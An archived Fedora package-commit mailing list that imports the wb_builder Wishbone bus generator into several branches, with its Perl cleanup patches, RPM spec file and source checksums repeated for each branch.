 };
 
 sub generate_defines {
-  open(OUTFILE,"> $_[0]") or die "could not open $infile for writing";
+  $infile = $_[0];
+  open(OUTFILE,">$infile") or die "could not open $infile for writing";
   printf OUTFILE "# Generated by PERL program wishbone.pl.\n";
   printf OUTFILE "# File used as input for wishbone arbiter generation\n";
   $tmp=localtime(time);
@@ -884,13 +905,13 @@
   printf OUTFILE "%s\n%s Wishbone slaves:\n",$comment,$comment;
   for ($i=1; $i <= $slaves; $i++) {
     printf OUTFILE "%s   %s\n",$comment,$slave[$i]{"wbs"};
-    if ($slave[$i]{"size"} ne ffffffff) {
+    if ($slave[$i]{"size"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr"},$slave[$i]{"size"}};
-    if ($slave[$i]{"size1"} ne ffffffff) {
+    if ($slave[$i]{"size1"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr1"},$slave[$i]{"size1"}};
-    if ($slave[$i]{"size2"} ne ffffffff) {
+    if ($slave[$i]{"size2"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr2"},$slave[$i]{"size2"}};
-    if ($slave[$i]{"size3"} ne ffffffff) {
+    if ($slave[$i]{"size3"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr3"},$slave[$i]{"size3"}};
   };
   print OUTFILE "$comment---------------------------------------------------------------------------------------\n";
@@ -1933,7 +1954,8 @@
 
 sub gen_optional{
     my ($sig_name,$n_o,$n_i)=@_;
-    my $i,$j;
+    my $i; 
+    my $j;
 
     return if ($n_o == 0) && ($n_i == 0);
     print OUTFILE "      -- $sig_name Slave -> Master [Optional]\n";


--- NEW FILE wb_builder.spec ---
Name:           wb_builder
Version:        1.0.3
Release:        2%{?dist}
Summary:        Wishbone Bus Builder

Group:          Applications/Engineering
License:        GPLv2
URL:            http://sourceforge.net/projects/fpgalibre/
Source0:        http://download.sourceforge.net/sourceforge/fpgalibre/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# fixes some Perl strict warnings and errors
Patch0:         wb_builder-strict-warnings.patch
Patch1:         wb_builder-args.patch

BuildArch:      noarch

%description
This package includes a HDL generator from a text description or via
GUI input for the Wishbone Bus.

The Wishbone Bus is an open source hardware computer bus intended
to let the parts of an integrated circuit communicate with each other.
The aim is to allow the connection of differing cores to each other
inside of a chip. The Wishbone Bus is used by many designs in the
OpenCores project.

%prep
%setup -q

%patch0 -p0 -b .perl-warnings
%patch1 -p0 -b .perl-args

# ---- Filtering Requires: ----
# In the perl script, "use IEEE.std_logic_1164.all" is meant
# to generate VHDL code and not for Perl

cat << \EOF > %{name}-req
#!/bin/sh
%{__perl_requires} $* |\
sed -e '/perl(IEEE.std_logic_1164.all)/d'
EOF

%global __perl_requires %{_builddir}/%{name}-%{version}/%{name}-req
chmod +x %{__perl_requires}
# ------------------------------------------


#fixing rpmlint warnings: file-not-utf8
for f in LEEME.txt README.txt ;
do
    iconv -f iso8859-1 -t utf-8 $f > $f.conv 
    mv -f $f.conv $f
done


%build


%install
%{__rm} -rf %{buildroot}

install -d %{buildroot}%{_bindir}
install -pm 0755 wishbone.pl %{buildroot}%{_bindir}/wishbonebuilder



%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc LEEME.txt LICENSE README.txt users_manual.pdf
%{_bindir}/wishbonebuilder


%changelog
* Sun Aug 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-2
- Added patch from Shakthi Kannan
- Patched broken arguments

* Sat Apr 25 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-1
- Initial Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:28:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 19:53:17 -0000	1.2
@@ -0,0 +1 @@
+wb_builder-1.0.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:28:58 -0000	1.1
+++ sources	10 Oct 2009 19:53:17 -0000	1.2
@@ -0,0 +1 @@
+9bad12675121a7d09467ad847b79b539  wb_builder-1.0.3.tar.gz



From chitlesh at fedoraproject.org  Sat Oct 10 19:56:24 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat, 10 Oct 2009 19:56:24 +0000 (UTC)
Subject: rpms/wb_builder/F-12 import.log, NONE, 1.1 wb_builder-args.patch,
	NONE, 
	1.1 wb_builder-strict-warnings.patch, NONE, 1.1 wb_builder.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010195624.6372711C00DB@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/wb_builder/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5132/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log wb_builder-args.patch 
	wb_builder-strict-warnings.patch wb_builder.spec 
Log Message:
new package


--- NEW FILE import.log ---
wb_builder-1_0_3-2_fc11:F-12:wb_builder-1.0.3-2.fc11.src.rpm:1255204474

wb_builder-args.patch:
 wishbone.pl |   27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

--- NEW FILE wb_builder-args.patch ---
--- wishbone.pl	2009-08-30 11:36:15.520240129 +0200
+++ wishbone.pl_mod	2009-09-03 07:01:29.148541129 +0200
@@ -191,6 +191,7 @@
 };
 
 sub read_defines {
+my $arg = @ARGV;
 $priority=0;
 $masters=0;
 $slaves=0;
@@ -225,10 +226,10 @@
   if ($a =~ /^(interconnect)( *)(=)( *)(crossbarswitch|sharedbus)(;?)$/) {
     $interconnect = $5; }
 
-  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($arg)/) {
     $signal_groups = $5; };
 
-  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($arg)/) {
     $use_cyc_sel = $5; };
 
   if ($a =~ /^(mux_type)( *)(=)( *)(mux|andor|tristate)(;?)$/) {
@@ -237,7 +238,7 @@
   if ($a =~ /^(optimize)( *)(=)( *)(speed|area);?$/) {
     $optimize = $5; };
 
-  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($*)/) {
+  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($arg)/) {
     $dat_size    = $5 if $1 eq 'dat_size';
     $adr_size    = $5 if $1 eq 'adr_size';
     $tgd_bits    = $5 if $1 eq 'tgd_bits';
@@ -246,20 +247,20 @@
     $granularity = $5 if $1 eq 'granularity';
   };
 
-  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($*)/) {
+  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($arg)/) {
     if ($3 eq "tga"){$rename_tga=$7};
     if ($3 eq "tgc"){$rename_tgc=$7};
     if ($3 eq "tgd"){$rename_tgd=$7};
   };
 
   # master port setup
-  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($arg)/) {
     if($1 eq "master") {
       master_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end master)($*)/) {
-      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($*)/) {
+    until ($a =~ /^(end master)($arg)/) {
+      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($arg)/) {
         $master[$masters]{"$2"}=$7;
         if (($2 eq "rty_i") && ($7 == 1)) {
           $rty_i++; };
@@ -273,23 +274,23 @@
         if ($2 eq "priority") {
           $priority += $7; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $master[$masters]{"$2"}=$6; };
       # priority for crossbarswitch
-      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($*)/) {
+      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($arg)/) {
         $master[$masters]{("priority_"."$4")}=$8; };
       $a = <FILE>;
     };
   };
 
   # slave port setup
-  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($arg)/) {
     if ($1 eq "slave") {
       slave_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end slave)($*)/) {
-      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($*)/) {
+    until ($a =~ /^(end slave)($arg)/) {
+      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$7;
         if (($2 eq "rty_o") && ($7 == 1)) {
           $rty_o++; };
@@ -300,7 +301,7 @@
         if (($2 eq "tga_i") && ($7 == 1)) {
           $tga_i++; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$6; };
       $a = <FILE>;
     };

wb_builder-strict-warnings.patch:
 wishbone.pl |   44 +++++++++++++++++++++++++++++++++-----------
 1 file changed, 33 insertions(+), 11 deletions(-)

--- NEW FILE wb_builder-strict-warnings.patch ---
--- wishbone.pl~	2006-11-28 01:22:43.000000000 +0530
+++ wishbone.pl	2009-08-29 22:32:53.684609104 +0530
@@ -66,21 +66,24 @@
 use Time::Local;
 use Getopt::Long;
 
+use strict;
+use warnings;
+
 # description: users manual
 
 my $version='1.0.3';
 my $infile = "wishbone.defines";
-my $outfile = wb;
+my $outfile = "wb";
 
 my $a;
 my $i=0;
 my $j=0;
 
 # default settings
-my $syscon=syscon;
-my $intercon=intercon;
+my $syscon="syscon";
+my $intercon="intercon";
 my $target="generic";
-my $hdl=vhdl;
+my $hdl="vhdl";
 my $ext=".vhd";
 my $signal_groups=0;
 my $comment="--";
@@ -121,7 +124,24 @@
 my $amp=0;
 my $asp=0;
 my $del=0;
-my $i;
+#my $i;
+
+my @master;
+my @slave;
+my $frame;
+my $c;
+my $am;
+my $ind;
+my $tmp;
+my $depend;
+my $l;
+my $only_master;
+my $k;
+my $noGUI;
+my $genHeader;
+my $help;
+my $file = "";
+my $tmp1;
 
 # open input file
 #if (open(FILE,"<$file")) {
@@ -804,7 +824,8 @@
 };
 
 sub generate_defines {
-  open(OUTFILE,"> $_[0]") or die "could not open $infile for writing";
+  $infile = $_[0];
+  open(OUTFILE,">$infile") or die "could not open $infile for writing";
   printf OUTFILE "# Generated by PERL program wishbone.pl.\n";
   printf OUTFILE "# File used as input for wishbone arbiter generation\n";
   $tmp=localtime(time);
@@ -884,13 +905,13 @@
   printf OUTFILE "%s\n%s Wishbone slaves:\n",$comment,$comment;
   for ($i=1; $i <= $slaves; $i++) {
     printf OUTFILE "%s   %s\n",$comment,$slave[$i]{"wbs"};
-    if ($slave[$i]{"size"} ne ffffffff) {
+    if ($slave[$i]{"size"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr"},$slave[$i]{"size"}};
-    if ($slave[$i]{"size1"} ne ffffffff) {
+    if ($slave[$i]{"size1"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr1"},$slave[$i]{"size1"}};
-    if ($slave[$i]{"size2"} ne ffffffff) {
+    if ($slave[$i]{"size2"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr2"},$slave[$i]{"size2"}};
-    if ($slave[$i]{"size3"} ne ffffffff) {
+    if ($slave[$i]{"size3"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr3"},$slave[$i]{"size3"}};
   };
   print OUTFILE "$comment---------------------------------------------------------------------------------------\n";
@@ -1933,7 +1954,8 @@
 
 sub gen_optional{
     my ($sig_name,$n_o,$n_i)=@_;
-    my $i,$j;
+    my $i; 
+    my $j;
 
     return if ($n_o == 0) && ($n_i == 0);
     print OUTFILE "      -- $sig_name Slave -> Master [Optional]\n";


--- NEW FILE wb_builder.spec ---
Name:           wb_builder
Version:        1.0.3
Release:        2%{?dist}
Summary:        Wishbone Bus Builder

Group:          Applications/Engineering
License:        GPLv2
URL:            http://sourceforge.net/projects/fpgalibre/
Source0:        http://download.sourceforge.net/sourceforge/fpgalibre/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# fixes some Perl strict warnings and errors
Patch0:         wb_builder-strict-warnings.patch
Patch1:         wb_builder-args.patch

BuildArch:      noarch

%description
This package includes a HDL generator from a text description or via
GUI input for the Wishbone Bus.

The Wishbone Bus is an open source hardware computer bus intended
to let the parts of an integrated circuit communicate with each other.
The aim is to allow the connection of differing cores to each other
inside of a chip. The Wishbone Bus is used by many designs in the
OpenCores project.

%prep
%setup -q

%patch0 -p0 -b .perl-warnings
%patch1 -p0 -b .perl-args

# ---- Filtering Requires: ----
# In the perl script, "use IEEE.std_logic_1164.all" is meant
# to generate VHDL code and not for Perl

cat << \EOF > %{name}-req
#!/bin/sh
%{__perl_requires} $* |\
sed -e '/perl(IEEE.std_logic_1164.all)/d'
EOF

%global __perl_requires %{_builddir}/%{name}-%{version}/%{name}-req
chmod +x %{__perl_requires}
# ------------------------------------------


#fixing rpmlint warnings: file-not-utf8
for f in LEEME.txt README.txt ;
do
    iconv -f iso8859-1 -t utf-8 $f > $f.conv 
    mv -f $f.conv $f
done


%build


%install
%{__rm} -rf %{buildroot}

install -d %{buildroot}%{_bindir}
install -pm 0755 wishbone.pl %{buildroot}%{_bindir}/wishbonebuilder



%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc LEEME.txt LICENSE README.txt users_manual.pdf
%{_bindir}/wishbonebuilder


%changelog
* Sun Aug 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-2
- Added patch from Shakthi Kannan
- Patched broken arguments

* Sat Apr 25 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-1
- Initial Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:28:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 19:56:24 -0000	1.2
@@ -0,0 +1 @@
+wb_builder-1.0.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:28:58 -0000	1.1
+++ sources	10 Oct 2009 19:56:24 -0000	1.2
@@ -0,0 +1 @@
+9bad12675121a7d09467ad847b79b539  wb_builder-1.0.3.tar.gz



From chitlesh at fedoraproject.org  Sat Oct 10 20:01:37 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat, 10 Oct 2009 20:01:37 +0000 (UTC)
Subject: rpms/wb_builder/EL-5 import.log, NONE, 1.1 wb_builder-args.patch,
	NONE, 
	1.1 wb_builder-strict-warnings.patch, NONE, 1.1 wb_builder.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010200138.1182611C00DB@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/wb_builder/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6152/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log wb_builder-args.patch 
	wb_builder-strict-warnings.patch wb_builder.spec 
Log Message:
new package


--- NEW FILE import.log ---
wb_builder-1_0_3-2_fc11:EL-5:wb_builder-1.0.3-2.fc11.src.rpm:1255204782

wb_builder-args.patch:
 wishbone.pl |   27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

--- NEW FILE wb_builder-args.patch ---
--- wishbone.pl	2009-08-30 11:36:15.520240129 +0200
+++ wishbone.pl_mod	2009-09-03 07:01:29.148541129 +0200
@@ -191,6 +191,7 @@
 };
 
 sub read_defines {
+my $arg = @ARGV;
 $priority=0;
 $masters=0;
 $slaves=0;
@@ -225,10 +226,10 @@
   if ($a =~ /^(interconnect)( *)(=)( *)(crossbarswitch|sharedbus)(;?)$/) {
     $interconnect = $5; }
 
-  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($arg)/) {
     $signal_groups = $5; };
 
-  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($arg)/) {
     $use_cyc_sel = $5; };
 
   if ($a =~ /^(mux_type)( *)(=)( *)(mux|andor|tristate)(;?)$/) {
@@ -237,7 +238,7 @@
   if ($a =~ /^(optimize)( *)(=)( *)(speed|area);?$/) {
     $optimize = $5; };
 
-  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($*)/) {
+  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($arg)/) {
     $dat_size    = $5 if $1 eq 'dat_size';
     $adr_size    = $5 if $1 eq 'adr_size';
     $tgd_bits    = $5 if $1 eq 'tgd_bits';
@@ -246,20 +247,20 @@
     $granularity = $5 if $1 eq 'granularity';
   };
 
-  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($*)/) {
+  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($arg)/) {
     if ($3 eq "tga"){$rename_tga=$7};
     if ($3 eq "tgc"){$rename_tgc=$7};
     if ($3 eq "tgd"){$rename_tgd=$7};
   };
 
   # master port setup
-  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($arg)/) {
     if($1 eq "master") {
       master_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end master)($*)/) {
-      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($*)/) {
+    until ($a =~ /^(end master)($arg)/) {
+      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($arg)/) {
         $master[$masters]{"$2"}=$7;
         if (($2 eq "rty_i") && ($7 == 1)) {
           $rty_i++; };
@@ -273,23 +274,23 @@
         if ($2 eq "priority") {
           $priority += $7; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $master[$masters]{"$2"}=$6; };
       # priority for crossbarswitch
-      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($*)/) {
+      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($arg)/) {
         $master[$masters]{("priority_"."$4")}=$8; };
       $a = <FILE>;
     };
   };
 
   # slave port setup
-  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($arg)/) {
     if ($1 eq "slave") {
       slave_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end slave)($*)/) {
-      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($*)/) {
+    until ($a =~ /^(end slave)($arg)/) {
+      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$7;
         if (($2 eq "rty_o") && ($7 == 1)) {
           $rty_o++; };
@@ -300,7 +301,7 @@
         if (($2 eq "tga_i") && ($7 == 1)) {
           $tga_i++; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$6; };
       $a = <FILE>;
     };

wb_builder-strict-warnings.patch:
 wishbone.pl |   44 +++++++++++++++++++++++++++++++++-----------
 1 file changed, 33 insertions(+), 11 deletions(-)

--- NEW FILE wb_builder-strict-warnings.patch ---
--- wishbone.pl~	2006-11-28 01:22:43.000000000 +0530
+++ wishbone.pl	2009-08-29 22:32:53.684609104 +0530
@@ -66,21 +66,24 @@
 use Time::Local;
 use Getopt::Long;
 
+use strict;
+use warnings;
+
 # description: users manual
 
 my $version='1.0.3';
 my $infile = "wishbone.defines";
-my $outfile = wb;
+my $outfile = "wb";
 
 my $a;
 my $i=0;
 my $j=0;
 
 # default settings
-my $syscon=syscon;
-my $intercon=intercon;
+my $syscon="syscon";
+my $intercon="intercon";
 my $target="generic";
-my $hdl=vhdl;
+my $hdl="vhdl";
 my $ext=".vhd";
 my $signal_groups=0;
 my $comment="--";
@@ -121,7 +124,24 @@
 my $amp=0;
 my $asp=0;
 my $del=0;
-my $i;
+#my $i;
+
+my @master;
+my @slave;
+my $frame;
+my $c;
+my $am;
+my $ind;
+my $tmp;
+my $depend;
+my $l;
+my $only_master;
+my $k;
+my $noGUI;
+my $genHeader;
+my $help;
+my $file = "";
+my $tmp1;
 
 # open input file
 #if (open(FILE,"<$file")) {
@@ -804,7 +824,8 @@
 };
 
 sub generate_defines {
-  open(OUTFILE,"> $_[0]") or die "could not open $infile for writing";
+  $infile = $_[0];
+  open(OUTFILE,">$infile") or die "could not open $infile for writing";
   printf OUTFILE "# Generated by PERL program wishbone.pl.\n";
   printf OUTFILE "# File used as input for wishbone arbiter generation\n";
   $tmp=localtime(time);
@@ -884,13 +905,13 @@
   printf OUTFILE "%s\n%s Wishbone slaves:\n",$comment,$comment;
   for ($i=1; $i <= $slaves; $i++) {
     printf OUTFILE "%s   %s\n",$comment,$slave[$i]{"wbs"};
-    if ($slave[$i]{"size"} ne ffffffff) {
+    if ($slave[$i]{"size"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr"},$slave[$i]{"size"}};
-    if ($slave[$i]{"size1"} ne ffffffff) {
+    if ($slave[$i]{"size1"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr1"},$slave[$i]{"size1"}};
-    if ($slave[$i]{"size2"} ne ffffffff) {
+    if ($slave[$i]{"size2"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr2"},$slave[$i]{"size2"}};
-    if ($slave[$i]{"size3"} ne ffffffff) {
+    if ($slave[$i]{"size3"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr3"},$slave[$i]{"size3"}};
   };
   print OUTFILE "$comment---------------------------------------------------------------------------------------\n";
@@ -1933,7 +1954,8 @@
 
 sub gen_optional{
     my ($sig_name,$n_o,$n_i)=@_;
-    my $i,$j;
+    my $i; 
+    my $j;
 
     return if ($n_o == 0) && ($n_i == 0);
     print OUTFILE "      -- $sig_name Slave -> Master [Optional]\n";


--- NEW FILE wb_builder.spec ---
Name:           wb_builder
Version:        1.0.3
Release:        2%{?dist}
Summary:        Wishbone Bus Builder

Group:          Applications/Engineering
License:        GPLv2
URL:            http://sourceforge.net/projects/fpgalibre/
Source0:        http://download.sourceforge.net/sourceforge/fpgalibre/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# fixes some Perl strict warnings and errors
Patch0:         wb_builder-strict-warnings.patch
Patch1:         wb_builder-args.patch

BuildArch:      noarch

%description
This package includes a HDL generator from a text description or via
GUI input for the Wishbone Bus.

The Wishbone Bus is an open source hardware computer bus intended
to let the parts of an integrated circuit communicate with each other.
The aim is to allow the connection of differing cores to each other
inside of a chip. The Wishbone Bus is used by many designs in the
OpenCores project.

%prep
%setup -q

%patch0 -p0 -b .perl-warnings
%patch1 -p0 -b .perl-args

# ---- Filtering Requires: ----
# In the perl script, "use IEEE.std_logic_1164.all" is meant
# to generate VHDL code and not for Perl

cat << \EOF > %{name}-req
#!/bin/sh
%{__perl_requires} $* |\
sed -e '/perl(IEEE.std_logic_1164.all)/d'
EOF

%global __perl_requires %{_builddir}/%{name}-%{version}/%{name}-req
chmod +x %{__perl_requires}
# ------------------------------------------


#fixing rpmlint warnings: file-not-utf8
for f in LEEME.txt README.txt ;
do
    iconv -f iso8859-1 -t utf-8 $f > $f.conv 
    mv -f $f.conv $f
done


%build


%install
%{__rm} -rf %{buildroot}

install -d %{buildroot}%{_bindir}
install -pm 0755 wishbone.pl %{buildroot}%{_bindir}/wishbonebuilder



%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc LEEME.txt LICENSE README.txt users_manual.pdf
%{_bindir}/wishbonebuilder


%changelog
* Sun Aug 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-2
- Added patch from Shakthi Kannan
- Patched broken arguments

* Sat Apr 25 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-1
- Initial Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:28:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 20:01:34 -0000	1.2
@@ -0,0 +1 @@
+wb_builder-1.0.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:28:58 -0000	1.1
+++ sources	10 Oct 2009 20:01:35 -0000	1.2
@@ -0,0 +1 @@
+9bad12675121a7d09467ad847b79b539  wb_builder-1.0.3.tar.gz



From chitlesh at fedoraproject.org  Sat Oct 10 20:06:42 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat, 10 Oct 2009 20:06:42 +0000 (UTC)
Subject: rpms/wb_builder/devel import.log, NONE, 1.1 wb_builder-args.patch, 
	NONE, 1.1 wb_builder-strict-warnings.patch, NONE,
	1.1 wb_builder.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010200642.82A5D11C00DB@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/wb_builder/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7758/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log wb_builder-args.patch 
	wb_builder-strict-warnings.patch wb_builder.spec 
Log Message:
new package


--- NEW FILE import.log ---
wb_builder-1_0_3-2_fc11:HEAD:wb_builder-1.0.3-2.fc11.src.rpm:1255205075

wb_builder-args.patch:
 wishbone.pl |   27 ++++++++++++++-------------
